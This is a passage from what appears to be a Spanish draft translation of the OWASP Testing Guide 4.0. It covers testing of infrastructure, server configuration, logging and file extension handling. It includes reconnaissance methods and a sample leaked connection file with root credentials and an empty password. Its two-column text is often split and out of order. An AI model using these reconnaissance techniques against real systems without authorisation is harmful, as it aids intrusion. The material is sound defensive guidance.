Los proxys inversos también se pueden presentar como proxy-caché para acelerar el rendimiento de servidores de aplicaciones de acceso restringido (back-end). La detección de estos proxies puede hacerse a base del encabezado del servidor. También pueden detectarse tomando el tiempo de las peticiones que deben ser almacenadas en caché por el servidor de sincronización y comparando el tiempo de la primera solicitud con las solicitudes subsiguientes.

[1] WebSEAL, también conocido como Tivoli Authentication Manager, es un proxy inverso de IBM que es parte del framework de Tivoli. [2] Hay algunas herramientas de administración basadas en GUI para Apache (como NetLoony), pero todavía no son de uso generalizado.

Pruebas para gestionar la configuración Otro elemento que puede detectarse son los equilibradores de carga de red. Por lo general, estos sistemas equilibrarán un determinado puerto TCP/IP en varios servidores basados en algoritmos diferentes (cadena de mensajes, la carga del servidor web, número de solicitudes, etc.). Por lo tanto, la detección de este elemento de la arquitectura debe hacerse examinando varias solicitudes y comparando los resultados para determinar si las solicitudes van al mismo servidor o a diferentes servidores. Por ejemplo, basado en el encabezado de fecha si los relojes del servidor no están sincronizados. En algunos casos, el proceso de equilibrio de carga de red puede inyectar nueva información en los encabezados que destacan claramente, como la cookie de AlteonP introducida por el equilibrador de carga de Nortel Alteon WebSystems.

Los servidores de aplicaciones web son generalmente fáciles de detectar. La solicitud de varios recursos es manejada por el mismo servidor de aplicaciones (no por el servidor web) y el encabezado de respuesta variará significativamente (incluyendo valores diferentes o adicionales en el encabezado de respuesta). Otra forma de detectar esto es ver si el servidor web intenta establecer cookies, las cuales son indicativas de que se utiliza un servidor de aplicación web (como el JSESSIONID proporcionado por algunos servidores J2EE), o para reescribir URL automáticamente para hacer seguimiento de sesiones.

La autenticación de acceso restringido (como los directorios LDAP, bases de datos relacionales o servidores RADIUS), sin embargo, no es tan fácil detectarlos de manera inmediata desde un punto de vista externo, ya que estarán ocultos por la propia aplicación.

El uso de una base de datos de acceso restringido puede determinarse simplemente navegando por una aplicación. Si hay contenido dinámico generado "sobre la marcha", probablemente es que está siendo extraído desde algún tipo de base de datos por la propia aplicación. A veces, la manera en que se solicite información podría dar conocimientos sobre la existencia de una base de datos de acceso restringido. Por ejemplo, una aplicación de compras en línea que utiliza identificadores numéricos ('id') al navegar por los distintos artículos de la tienda. Sin embargo, cuando se hace una prueba de aplicación ciega, el conocimiento de la base de datos subyacente generalmente está solamente disponible cuando aparece una vulnerabilidad en la aplicación, como un pobre manejo de excepciones o una susceptibilidad a la inyección de SQL.

Referencias

Entender la configuración desplegada del servidor que aloja la aplicación web es casi tan importante como las pruebas de seguridad de la aplicación misma. Después de todo, una cadena de aplicaciónes sólo es tan fuerte como su eslabón más débil. Las plataformas de aplicación son amplias y variadas, pero algunos errores de configuración claves en la plataforma pueden comprometer la aplicación de la misma manera que una aplicación no segura puede comprometer el servidor.

Pruebe la configuración de la infraestructura y la red (OTG-CONFIG-001) Resumen La complejidad intrínseca de una infraestructura de servidor web interconectada y heterogénea, que puede incluir cientos de aplicaciones web, hace de la gestión de la configuración y revisión un paso fundamental en la prueba e implementación de cada aplicación. Toma sólo una vulnerabilidad el socavar la seguridad de toda la infraestructura y problemas e incluso problemas pequeños y aparentemente sin importancia pueden convertirse en serios riesgos para otra aplicación en el mismo servidor. Para abordar estos problemas, es de suma importancia llevar a cabo una profunda revisión de la configuración y problemas de seguridad conocidos, después de haber creado un mapa de toda la arquitectura. Una gestión apropiada de la configuración la infraestructura del servidor de web es muy importante para preservar la seguridad de la propia aplicación. Si elementos como el software del servidor web, los servidores de base de datos de back-end o los servidores de autenticación no está revisados y asegurados, podrían presentar riesgos no deseados o introducir nuevas vulnerabilidades que podrían comprometer a la propia aplicación.

Por ejemplo, una vulnerabilidad del servidor web que permite a un atacante remoto revelar el código fuente de la aplicación en sí (una vulnerabilidad que ha aparecido varias veces en servidores web o servidores de aplicaciones) podría comprometer la aplicación, como los usuarios anónimos pueden utilizar la información divulgada en el código fuente para realizar los ataques contra la aplicación o sus usuarios.

Los siguientes pasos deben tomarse para poner a prueba la infraestructura de gestión de configuración:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 71

Guia de pruebas 4.0 "Borrador"

• Los diferentes elementos que conforman la infraestructura deben ser determinados con el fin de comprender cómo interactúan con una aplicación web y cómo afectan a su seguridad. • Todos los elementos de la infraestructura deben revisarse para asegurarse de que no contienen vulnerabilidades conocidas. • Debe hacerse una revisión de las herramientas administrativas usadas para dar mantenimiento a los diferentes elementos. • Los sistemas de autenticación necesitan ser revisados para asegurarse que sirven a las necesidades de la aplicación y que no pueden ser manipulados por los usuarios externos para obtener el acceso.

versión del servidor web cuando las vulnerabilidades se arreglan, la herramienta de análisis marcará vulnerabilidades que no existen. Este último caso es realmente muy común, ya que algunos proveedores de sistemas operativos instalan parches para arreglar vulnerabilidades de seguridad a traves de un puerto posterior al software que proporcionan en el sistema operativo, pero no hacen una carga completa de la última versión de software. Esto sucede en la mayoría de las distribuciones de GNU/Linux como Debian, Red Hat o SuSE. En la mayoría de los casos, el análisis de vulnerabilidad de una arquitectura de aplicación sólo encontrará vulnerabilidades asociadas a los elementos "expuestos" de la arquitectura (como el servidor web) y suelen ser incapaces de encontrar vulnerabilidades asociadas a elementos que no están directamente expuestos, tales como la autenticación en segundo plano (back end), o la base de datos acceso restringido, o el proxy inverso que se encuentra en uso.

• Una lista de puertos definidos que se requieren para la aplicación debe recibir mantenimiento y debe guardarse con un control de cambios.

Después de haber elaborado un mapa de los diferentes elementos que conforman la infraestructura (vea mapa de red y arquitectura de la aplicación), es posible revisar la configuración de cada elemento encontrado y probarlos en busca de cualquier vulnerabilidad conocida.

Por último, no todos los proveedores de software revelan vulnerabilidades de manera pública y, por lo tanto, estas debilidades no son registradas dentro de bases de datos de vulnerabilidades conocidas públicamente[1]. Esta información sólo es revelada a los clientes o publicada a través de soluciones que no van acompañadas de advertencias. Esto reduce la utilidad de las herramientas de análisis de vulnerabilidad. Por lo general, la cobertura de vulnerabilidades de estas herramientas será muy buena para los productos comunes (como el servidor web Apache, Microsoft Internet Information Server o IBM Lotus Domino), pero no cumplirán con productos menos conocidos.

Cómo probar Vulnerabilidades conocidas de los servidores Las vulnerabilidades encontradas en las diferentes áreas de la arquitectura de la aplicación, ya sea en el servidor web o en la base de datos de acceso restringido, pueden comprometer seriamente a la propia aplicación. Por ejemplo, considere una vulnerabilidad del servidor que permite a un usuario remoto no autenticado subir archivos al servidor web o incluso reemplazar los archivos. Esta vulnerabilidad podría comprometer la aplicación, ya que un usuario granuja puede ser capaz de reemplazar la aplicación o introducir un código que puede afectar a los servidores de acceso restringido, ya que el código de la aplicación del atacante funcionaría como cualquier otra aplicación.

La revisión de vulnerabilidades del servidor puede ser difícil de efectuar si la prueba debe hacerse a través de una prueba de penetración ciega. En estos casos, las vulnerabilidades deben probarse desde un sitio remoto, generalmente usando una herramienta automatizada. Sin embargo, las pruebas de algunas vulnerabilidades pueden tener resultados impredecibles en el servidor web, y no sería posible probar para otros, (como aquellos directamente involucrados en la negación de ataques al servicio), debido a la reducción de la calidad de tiempo de servicio involucrado si la prueba fuera exitosa.

Algunas herramientas automatizadas marcan las vulnerabilidades basadas en la versión obtenida del servidor web. Esto lleva a falsos positivos y falsos negativos. Por un lado, si la versión del servidor web ha sido eliminada u oscurecida por el administrador del sitio local, la herramienta de análisis no marcará al servidor como vulnerable, aunque lo sea. Por otro lado, si el proveedor del software no actualiza la

Por esta razón, la revisión de vulnerabilidades se realiza mejor cuando al evaluador se le proporciona información interna del software utilizado, incluyendo versiones y actualizaciones usadas y parches aplicados al software. Con esta información, el evaluador puede recuperar la información del mismo proveedor y analizar qué vulnerabilidades pueden estar presentes en la arquitectura y cómo pueden afectar a la aplicación en sí. Cuando sea posible, estas vulnerabilidades pueden analizarse para determinar sus efectos reales y detectar si pueden haber elementos

externos (tales como sistemas de detección o prevención de intrusiones) que podrían reducir o negar la posibilidad de explotación exitosa. Los evaluadores podrían determinar incluso, a través de una revisión de la configuración, que la vulnerabilidad no está presente, puesto que afecta a un componente de software que no está en uso.

También vale la pena señalar que los vendedores a veces solucionan las vulnerabilidades silenciosamente y hacen las correcciones disponibles con nuevas versiones de software. Los diferentes proveedores tendrán diversos ciclos de lanzamiento que determinan el apoyo que pueden proporcionar para versiones más antiguas. Un evaluador con información detallada de las versiones del software utilizado por la arquitectura puede analizar el riesgo asociado al uso de versiones viejas de software que podrían no tener soporte en el corto plazo o que ya no tienen soporte. Esto es fundamental, ya que si una vulnerabilidad aparece en una versión antigua de software, que ya no tiene soporte, el personal de sistemas podría no estar directamente consciente de ello. No habrán parches disponibles para él y las advertencias no pondrán en la lista a esa versión como vulnerable ya que no tiene soporte. Incluso, en el caso de que estén conscientes de que existe la

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 72

Guia de pruebas 4.0 "Borrador"

vulnerabilidad y el sistema es vulnerable, tendrían que hacer una actualización completa a una nueva versión de software, que podría aumentar significativamente el tiempo de inactividad en la arquitectura de la aplicación o puede forzar a la aplicación a ser recodificada, debido a incompatibilidades con la versión más reciente del software.

Herramientas administrativas Cualquier infraestructura de servidor web requiere la existencia de herramientas administrativas para dar mantenimiento y actualizar la información utilizada por la aplicación. Esta información incluye contenido estático (páginas web, archivos gráficos), código fuente de la aplicación, bases de datos de autenticación de usuario, etc. Las herramientas administrativas serán diferentes según el sitio, la tecnología o el software utilizado. Por ejemplo, algunos servidores se gestionan mediante interfaces administrativas, que son estos mismos servidores web (como el servidor web iPlanet) o serán administradas por archivos de texto con la configuración (en caso del Apache[2]) que usen un sistema operativo GUI tools (al usar el servidor IIS o ASP.Net de Microsoft).

En la mayoría de los casos se controlará la configuración del servidor con diferentes herramientas de mantenimiento de archivos utilizados por el servidor web, los cuales son administrados a través de servidores FTP, WebDAV, sistemas de archivos de red (NFS, CIFS) u otros mecanismos. Obviamente, el sistema operativo de los elementos que componen la arquitectura de la aplicación también se gestionará utilizando otras herramientas. Las aplicaciones también pueden tener interfaces administrativas incrustadas en ellas, que se utilizan para gestionar los datos mismos de la aplicación (usuarios, contenido, etc.).

Después de haber elaborado mapas de las interfaces administrativas utilizadas para administrar las diferentes partes de la arquitectura, es importante revisarla, ya que si un atacante obtiene acceso a cualquiera de ellas, entonces puede comprometer o dañar la arquitectura de la aplicación. Para ello es importante:

Referencias [1] WebSEAL, también conocida como Tivoli Authentication Manager, es un proxy inverso de IBM que es parte del framework Tivoli framework. [2] Tal como Symantec’s Bugtraq, ISS’ X-Force, o NIST’s National Vulnerability Database (NVD). [3] Hay algunas herramientas basadas en GUI para Apache (como NetLoony), pero no se usan masivamente todavía.

Pruebe la Configuración de la Plataforma de Aplicaciones (OTG-CONFIG-002) Resumen Es imporante una adecuada configuración de los elementos individuales que conforman la arquitectura de una aplicación, para prevenir errores que podrían comprometer la seguridad de la arquitectura entera.

Revisar y probar la configuración es una tarea fundamental en la creación y mantenimiento de una arquitectura. Esto es porque muchos sistemas diferentes generalmente cuentan con configuraciones genéricas que podrían no ser adecuadas para la tarea que se llevará a cabo en el sitio específico donde están instaladas.

Mientras que la instalación tipica del servidor de la web y de la aplicación contendrá mucha funcionalidad (como ejemplos de aplicación, documentación, páginas de prueba) lo que no es esencial debe retirarse antes de la implementación para evitar la explotación de estos después de la instalación.

• Determinar los mecanismos que controlan el acceso a estas interfaces y sus vulnerabilidades asociadas. Esta información puede estar disponible en línea. • Cambiar el usuario y contraseña generados automáticamente. Cómo probar Pruebas de Caja Negra Algunas empresas optan por no gestionar todos los aspectos de sus aplicaciones de servidor web, pero pueden tener otros equipos gestionando el contenido entregado por la aplicación web. Esta empresa externa puede solamente proporcionar partes de los contenidos (actualizaciones de noticias o promociones) o puede administrar el servidor de web totalmente (incluyendo contenido y código). Es común encontrar interfaces administrativas disponibles desde Internet en estas situaciones, ya que usar el Internet es más barato que tener una línea dedicada que conecte a la empresa externa únicamente con la infraestructura de la aplicación a través de una interfaz de gestión. En esta situación, es muy importante comprobar si las interfaces administrativas son vulnerables a ataques.

Archivos y directorios de muestra y conocidos Muchos servidores web y servidores de aplicaciones proporcionan, en una instalación por defecto, aplicaciones y archivos de muestra que se entregan para beneficio del desarrollador y para probar que el servidor está funcionando correctamente justo después de la instalación. Sin embargo, muchas aplicaciones de servidor web por defecto han sido determinadas como vulnerables. Este fue el caso, por ejemplo, de CVE-1999-0449 (denegación de servicio en IIS cuando se instaló el sitio de muestra de Exair), CAN-2002-1744 (vulnerabilidad de salto de directorio en CodeBrws.asp en Microsoft IIS 5.0), CAN-2002-1630 (uso de sendmail.jsp en

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 73

Guia de pruebas 4.0 "Borrador"

Oracle 9iAS) o CAN-2003-1172 (salto de directorio al ver la muestra de código fuente en Cocoon de Apache).

Es imposible decir genéricamente cómo debe configurarse un servidor, sin embargo, algunas pautas comunes deben tomarse en cuenta:

Los escáneres CGI incluyen una lista detallada de archivos conocidos y las muestras de directorio que son entregadas por diferentes servidores web o de aplicaciones, y pueden ser una forma rápida de determinar si estos archivos están presentes. Sin embargo, la única manera para estar totalmente seguro es hacer una revisión completa de los contenidos del servidor web o servidor de aplicaciones y determinar si están relacionados con la aplicación propiamente dicha o no.

• Sólo habilite módulos de servidor (extensiones ISAPI en IIS) que son necesarios para la aplicación. Esto reduce la superficie de ataque puesto que el servidor se reduce en tamaño y complejidad al desactivar módulos del software. También evita que las vulnerabilidades que podrían aparecer en el software del proveedor afecten al sitio si sólo están presentes en los módulos que han sido ya desactivados.

Revisión de comentarios Es muy común, e incluso se recomienda a los programadores, que incluyan comentarios detallados en su código fuente para permitir a otros

programadores entender por qué se tomó una determinada decisión en la codificación de una función dada. Los programadores suelen añadir comentarios al desarrollar aplicaciones grandes basadas en la web. Sin embargo, los comentarios incluidos en líneas de código HTML podrían revelar información interna que no debería estar disponible para un atacante. A veces, incluso existe el comentario de haber retirado el código fuente ya que una funcionalidad ya no es necesaria, pero este comentario se fuga hacia afuera, a las páginas HTML que se devuelven a los usuarios accidentalmente.

La revisión de comentarios debe realizarse con el fin de determinar si cualquier información puede fugarse a través de comentarios. Esta revisión es completamente posible solamente a través de un análisis de los contenidos de los servidores web estáticos y dinámicos y búsquedas de archivo. Puede ser útil navegar por el sitio de una manera automática o guiada y almacenar todo el contenido obtenido. El contenido obtenido puede ser buscado posteriormente con el fin de analizar los comentarios HTML en el código.

Pruebas de Caja Gris

• Maneje los errores del servidor (40x o 50x) con páginas personalizadas en vez de usar las páginas genéricas del servidor web. Específicamente asegúrese de que los errores de aplicación no serán devueltos al usuario final y que ningún código se filtre a través de estos errores, ya que esto ayudaría al atacante. Es realmente muy común olvidar este punto ya que los desarrolladores necesitan esta información en entornos de preproducción. • Asegúrese de que el software del servidor se ejecuta con privilegios mínimos del sistema operativo. Esto evita que un error en el software del servidor comprometa directamente todo el sistema, aunque un atacante podría elevar los privilegios una vez que ejecute códigos como servidor web. • Asegúrese de que el software de servidor registra correctamente accesos legítimos y errores. • Asegúrese de que el servidor está configurado para manejar las sobrecargas adecuadamente y evitar ataques de denegación de servicio. Asegúrese de que el servidor ha sido calibrado correctamente en su rendimiento. • Nunca conceda acceso con identidades no administrativas (con la excepción de NTSERVICE\WMSvc) acceso a applicationHost.config, redirection.config y administration.config (lectura o escritura). Esto incluye el servicio de red, IIS_IUSRS, IUSR o cualquier identidad personalizada utilizada por grupos de aplicaciones IIS. Los procesos de trabajo IIS no necesitan tener acceso a estos archivos directamente.

• Nunca comparta applicationHost.config, redirection.config y administration.config en la red. Cuando use configuraciones de exportación compartidas, prefiera exportar applicationHost.config a otro lugar (véase la sección titulada "configuración de permisos de configuración compartida").

Revisión de la configuración La configuración del servidor web o del servidor de aplicaciones toma un papel importante en la protección de los contenidos del sitio y debe ser revisada cuidadosamente para detectar errores de configuración comunes. Obviamente, la configuración recomendada varía en función de la política del sitio y la funcionalidad que debe ser proporcionada por el software del servidor. En la mayoría de los casos, sin embargo, deben revisarse las pautas de la configuración (ya sean proporcionadas por el proveedor de software o por personas externas) para determinar si el servidor ha sido correctamente asegurado.

• Tenga en cuenta que todos los usuarios pueden leer el framework de configuración .NET machine.config y archivos base web.config por defecto. No almacene información confidencial en estos archivos si fuese solo para administradores. • Encripte la información sensible que debe ser leída únicamente por los procesos de trabajo de IIS y no por otros usuarios de la máquina.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 74

Guia de pruebas 4.0 "Borrador"

• No conceda permisos de escritura a la identidad que el servidor Web utiliza para tener acceso a applicationHost.config compartida. Esta identidad debe tener permisos de sólo lectura. • Utilice una identidad separada para publicar applicationHost.config al recurso compartido. No use esta identidad para configurar el acceso a la configuración compartida en los servidores Web. • Utilice una contraseña de alta seguridad cuando exporte las claves de encriptación para su uso con configuraciones compartidas. • Mantenga el acceso restringido a la partición que contiene la configuración compartida y las claves de encriptado. Si esta partición está comprometida, un atacante podrá leer y escribir cualquier configuración de IIS para los servidores Web, redirigir el tráfico de su sitio web hacia fuentes maliciosas y, en algunos casos, obtener el control de todos los servidores web mediante la carga de códigos arbitrarios en los procesos de trabajo IIS. • Considere proteger esta parte con las reglas del firewall y las directivas de IPsec para permitir que únicamente los servidores web miembros se conecten.

Registros de Información sensible Algunas aplicaciones, por ejemplo, podrían utilizar peticiones GET para enviar datos de formularios que serán vistas en los registros del servidor. Esto significa que los registros de servidor pueden contener información sensible (como nombres de usuario, como contraseñas o datos bancarios). Esta información sensible puede ser mal utilizada por un atacante si obtuvo los registros, por ejemplo, a través de interfaces administrativas o vulnerabilidades o malas configuraciones conocidas del servidor web (como la configuración conocida del estado del servidor en servidores basados en Apache HTTP).

A menudo, los registros de sucesos contienen datos que son útiles para un atacante (fuga de información), o pueden ser utilizados directamente en explotar:

• Depuración de la información Registro El registro es un aspecto importante de la seguridad de la arquitectura de una aplicación, ya que puede ser utilizada para detectar fallos en las aplicaciones (usuarios que intentan constantemente recuperar un archivo que no existe realmente), así como de ataques sostenidos de los usuarios granujas. Los registros no se generan correcta y típicamente por la web y otro servidor de software. No es común encontrar aplicaciones que registran correctamente sus acciones en un registro y, cuando lo hacen, la intención principal de los registros de aplicación es producir resultados de depuración que podría utilizar el programador para analizar un error determinado.

En ambos casos (registros de servidor y aplicación) varios temas deben ser probados y analizados basándose en el contenido del registro: • ¿Los registros contienen información sensible? • ¿Están los registros almacenados en un servidor dedicado?

• Rastros de apilamiento • Nombres de usuario • Nombres de componentes del sistema • Direcciones IP internas • Datos personales menos sensibles (por ejemplo direcciones de correo electrónico, direcciones postales y números de teléfono asociados con individuos nombrados) • Datos del negocio

En algunas jurisdicciones, almacenar alguna información sensible en archivos de registro, tales como datos personales, también podría obligar a la empresa a aplicar las leyes de protección de datos que aplicarían a sus bases de datos de acceso restringido para archivos de registros. No hacerlo, incluso sin saberlo, puede llevar a sanciones bajo las leyes de protección de datos vigentes.

• ¿Puede el uso de registros generar una condición de negación de servicio? • ¿Cómo se giran? ¿Se mantienen los registros durante el tiempo suficiente? Una lista más amplia de información sensible es: • ¿Cómo se revisan los registros? ¿Pueden utilizar los administradores estas revisiones para detectar ataques dirigidos?

• Aplicaciones de código fuente

• ¿Cómo se conservan las copias de seguridad de registro?

• Valores de identificación de sesión

• ¿Los datos están siendo validados (min/max longitud, caracteres etc.) antes de ser registrados?

• Fichas de acceso • Datos personales sensibles y algunas formas de información personal identificable (PII)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 75

Guia de pruebas 4.0 "Borrador"

• Contraseñas de autenticación • Líneas de conexión de bases de datos • Claves de encriptación

en la misma partición de disco como el que se usa para el software de sistema operativo o la aplicación en sí. Esto significa que si el disco fuera llenado, el sistema operativo o la aplicación pueden fallar porque serían incapaces de escribir en el disco.

• Cuenta bancaria o datos del titular de tarjeta de pago • Datos de una clasificación de seguridad más alta que lo que el sistema de registro tiene permitido almacenar • Información comercialmente sensible • Información que es ilegal recolectar en la jurisdicción correspondiente. • Información que un usuario ha optado por no permitir su recolección, o no ha aceptado, por ejemplo, que hagan seguimiento o uso, o cuando el consentimiento para recolectar ha caducado.

Ubicación de registros Generalmente, los servidores generan registros locales de sus acciones y errores, consumiendo el disco del sistema del servidor donde se ejecutan. Sin embargo, si el servidor ha comprometido sus registros, estos pueden ser eliminados por el intruso para limpiar todos los rastros de su ataque y sus métodos. Si esto llegara a suceder, el administrador del sistema no tiene conocimiento de cómo ocurrió el ataque o dónde se encontraba la fuente del ataque. En realidad, la mayoría de kits de herramientas de ataque incluyen un eliminador de registros que es capaz de limpiar cualquier registro que contenga información (como la dirección IP del atacante) y se utilizan habitualmente en equipos de ataque a nivel de sistema principal.

Por lo tanto, es inteligente mantener los registros en un lugar diferente y no en el propio servidor web. Esto también facilita agregar registros desde diferentes fuentes que se refieren a la misma aplicación (como los de una granja de servidores web) y también es más fácil hacer análisis de registros (que puede ser intensivo para el CPU) sin afectar al servidor mismo.

Almacenamiento de registros Los registros pueden presentar una condición de negación de servicio si no se almacenan correctamente. Cualquier atacante con suficientes recursos podría ser capaz de producir un número suficiente de solicitudes que

lenaría el espacio asignado para los archivos de registro si no están prevenidos específicamente de hacerlo. Sin embargo, si el servidor no está configurado correctamente, los archivos de registro se almacenarán

Normalmente, en sistemas UNIX, los registros se ubicarán en /var (aunque algunas instalaciones de servidores pueden residir en /opt o /usr/local) y es importante asegurarse de que los directorios en los que los registros se almacenan estén en una partición separada. En algunos casos, y para evitar que los registros del sistema se vean afectados, el directorio de registro del software de servidor (como /var/log/apache en el servidor web Apache) debe almacenarse en una partición dedicada.

Esto no quiere decir que se deba permitir que los registros crezcan hasta llenar el sistema de archivos donde residen. El crecimiento de registros del servidor debe ser vigilado para detectar esta condición puesto que puede ser indicativo de un ataque.

Probar esta condición es tan fácil y tan peligroso en entornos de producción, como disparar un número suficiente y sostenido de solicitudes para ver si estas solicitudes se registran y si existe la posibilidad de llenar la partición de registro a través de estas solicitudes. En algunos ambientes donde los parámetros QUERY_STRING también se registran independientemente de si se producen a través de solicitudes GET o POST, las consultas grandes pueden simular que llenarán los registros más rápido puesto que, normalmente, una sola solicitud hará que sólo una pequeña cantidad de datos sean registrados, como fecha y hora, dirección IP de origen, petición URL y resultado del servidor.

Rotación de registros La mayoría de los servidores (pero pocas aplicaciones personalizadas) rotarán los registros con el fin de evitar que se llene el sistema de archivos donde residen. Al girar los registros se asume que la información en ellos sólo es necesaria durante un tiempo limitado.

Esta característica debe ser probada para asegurarse de que:

• Los registros se mantienen durante el tiempo definido en la política de seguridad, ni más ni menos. • Los registros se comprimen una vez rotados (esto es una comodidad, ya que significará que más registros se almacenarán en el mismo espacio de disco disponible).

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 76

Guia de pruebas 4.0 "Borrador"

• El permiso del sistema de archivos de registros rotados es el mismo (o más estricto) que los permisos del registro de archivos en sí. Por ejemplo, los servidores web deberán escribir en los registros usados, pero no necesitan realmente escribir en registros rotados, lo que significa que los permisos de los archivos pueden modificarse según la rotación para evitar que el proceso del servidor web los modifique.

Las estadísticas del registro o análisis no deben ser generadas ni almacenadas en el mismo servidor que produce los registros. De lo contrario, un atacante podría, a través de una vulnerabilidad del servidor web o configuración inadecuada, tener acceso a ellos y recuperar la información similar a la que sería revelada por los archivos de registro.

Referencias Algunos servidores podrían rotar registros cuando alcanzan un tamaño determinado. Si esto sucede, se debe garantizar que un atacante no puede obligar a rotar registros para ocultar sus huellas.

[1] Apache • Apache Security, by Ivan Ristic, O’reilly, March 2005.

Control del registro de acceso

• Apache Security Secrets: Revealed (Again), Mark Cox, November 2003 awe.com

La información del registro de eventos nunca debe ser visible para los usuarios finales. Incluso los administradores web no deberían ver estos registros ya que se rompe la separación del servicio de las labores de control. Asegúrese de que cualquier esquema de control de acceso que se utiliza para proteger el acceso a los registros brutos y a cualquier aplicación que proporciona funcionalidades para ver o buscar los registros no estén

• Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox, October 2002 - awe.com

conectadas a los esquemas de control de acceso para otros roles de usuario de la aplicación. Asimismo, los datos de registro no deben ser visibles por los usuarios no autenticados.

• Lotus Domino Security, an X-force white-paper, Internet Security Systems, December 2002 - iss.net

Revisión de registros La revisión de registros puede utilizarse no solo para la extracción de estadísticas de uso de archivos en los servidores web (que suele ser en lo que la mayoría de aplicaciones basadas en registros se centran), sino también para determinar si los ataques tienen lugar en el servidor web.

• Performance Tuning - apache.org [2] Lotus Domino • Lotus Security Handbook, William Tworek et al., April 2004, available in the IBM Redbooks collection - redbooks.ibm.com

• Hackproofing Lotus Domino Web Server, David Litchfield, October 2001 davidlitchfield.com • NGSSoftware Insight Security Research - nccgroup.com [3] Microsoft IIS • IIS 6.0 Security, by Rohyt Belani, Michael Muckin, symantec.com • IIS 7.0 Securing Configuration - technet.microsoft.com

Para analizar los ataques desde el servidor web, los archivos de registro de error deben ser analizados. La revisión debería centrarse en:

• Securing Your Web Server (Patterns and Practices), Microsoft Corporation, January 2004 • IIS Security and Programming Countermeasures, by Jason Coombs

• 40x mensajes de error (not found). Una gran cantidad de ellos de la misma fuente podría ser un indicativo de una herramienta de scanner CGI utilizada contra el servidor web • 50 x mensajes (server error). Estos pueden ser una indicación de que un atacante abusa de partes de la aplicación que fallan inesperadamente. Por ejemplo, las primeras fases de un ataque de inyección SQL producirá estos mensaje de error cuando la consulta SQL no está construida correctamente y su ejecución falla en la base de datos de acceso restringido.

• From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John Davis, Microsoft Corporation, June 2001 uat.technet.microsoft.com • Secure Internet Information Services 5 Checklist, by Michael Howard, Microsoft Corporation, June 2000 • “INFO: Using URLScan on IIS” - support.microsoft.com

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 77

Guia de pruebas 4.0 "Borrador"

[4] Red Hat’s (formerly Netscape’s) iPlanet

debido a que el contenido no es el esperado, o por manejo de nombres de archivo inesperado del OS.

• Guide to the Secure Configuration and Administration of iPlanet Web Server, Enterprise Edition 4.1, by James M Hayes - nsa.gov [5] WebSphere • IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter Kovari et al., IBM, December 2002 - redbooks.ibm.com • IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., IBM, March 2002 - redbooks.ibm.com [6] General • Logging Cheat Sheet, OWASP • SP 800-92 Guide to Computer Security Log Management, NIST csrc.nist.gov • PCI DSS v2.0 Requirement 10 and PA-DSS v2.0 Requirement 4, PCI Security Standards Council

Determinar cómo los servidores web manejan las peticiones correspondientes a archivos con diferentes extensiones puede ayudar a comprender el comportamiento del servidor web según el tipo de archivos a los que se accede. Por ejemplo, puede ayudar a entender cuáles extensiones de archivo se devuelven como texto simple frente a aquellos que causan alguna ejecución en el lado del servidor. Estos últimos son indicativos de las tecnologías, idiomas o plugins que son utilizados por los servidores web o servidores de aplicaciones y pueden proporcionar informacion adicional de cómo está diseñada la aplicación web. Por ejemplo, una extensión de ".pl" es generalmente asociada con un soporte Perl del lado del servidor. Sin embargo, la extensión de archivo sola puede ser engañosa y no completamente concluyente. Por ejemplo, Los recursos de servidor Perl pueden cambiarse de nombre para ocultar el hecho de que están relacionados con Perl. Vea la siguiente sección sobre "componentes de servidor de web" para más información sobre identificación de componentes y tecnologías del lado del servidor.

[7] Generic: • CERT Security Improvement Modules: Securing Public Web Servers

Cómo probar

• Apache Security Configuration Document, InterSect Alliance

Navegación forzada

• “How To: Use IISLockdown.exe” http://msdn.microsoft.com/library/en-us/secmod/html/secmod113.asp

Envíe solicitudes http[s] que incluyan diferentes extensiones y verifique cómo se manejan. La verificación debe estar en una base de directorio web

Pruebe el manejo de archivos de extensiones en busca de información sensible (OTG-CONFIG003)

por búsqueda. Verificar directorios que permiten la ejecución del script. Los directorios del servidor Web pueden identificarse por escáneres de vulnerabilidad, que buscan la presencia de directorios conocidos. Además, el reflejo de la estructura del sitio web permite al evaluador reconstruir el árbol de directorios de la web servidos por la aplicación.

Resumen Los archivos de extensiones se utilizan en los servidores web para determinar fácilmente qué tecnologías, idiomas y accesorios (plugins) deben utilizarse para cumplir con la solicitud web. Si bien este comportamiento es compatible con los RFC y estándares Web, utilizar las extensiones de archivo estándar proporciona al evaluador de penetración la información útil sobre las tecnologías subyacentes que se utilizan en una aplicación web y simplifica enormemente la tarea de determinar el escenario de ataque a usar para estas tecnologías en particular. Además, un error de configuración de los servidores web fácilmente podría revelar información confidencial sobre las credenciales de acceso.

Si la arquitectura de aplicaciones web tiene balanceo de cargas, es importante evaluar a todos los servidores web. Esto puede o no ser fácil, dependiendo de la configuración de la infraestructura de equilibrio. En una infraestructura con componentes redundantes pueden existir ligeras variaciones en la configuración de los servidores web o de aplicaciones individuales . Esto puede suceder si la arquitectura web emplea tecnologías heterogéneas (piense en un conjunto de servidores web IIS y Apache en una configuración de balanceo de carga, que puede presentar leves comportamientos asimétricos entre ellos y posiblemente diferentes vulnerabilidades).

El control de extensiones a menudo se utiliza para validar los archivos que serán cargados, que pueden conducir a resultados inesperados

Ejemplo:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 78

Guia de pruebas 4.0 "Borrador"

El evaluador ha identificado la existencia de un archivo llamado connection.inc. Tratar de acceder a él directamente le devuelve su contenido:

algunos ejemplos, ya que las extensiones de archivo son demasiadas para tratarlas exhaustivamente aquí. Refiérase a http://filext.com/ para ver una base de datos más completa de las extensiones.


mysql_connect(“127.0.0.1”, “root”, “”) or die(“Could not connect”);

?> El evaluador determina la existencia de un MySQL DBMS de acceso restringido y las credenciales (débiles) que utiliza la aplicación web para acceder a ella.

Para identificar los archivos con una extensión en particular, puede emplearse una mezcla de técnicas. Estas técnicas pueden incluir escáneres de vulnerabilidad, herramientas de robots araña (spidering) y de reflejo,

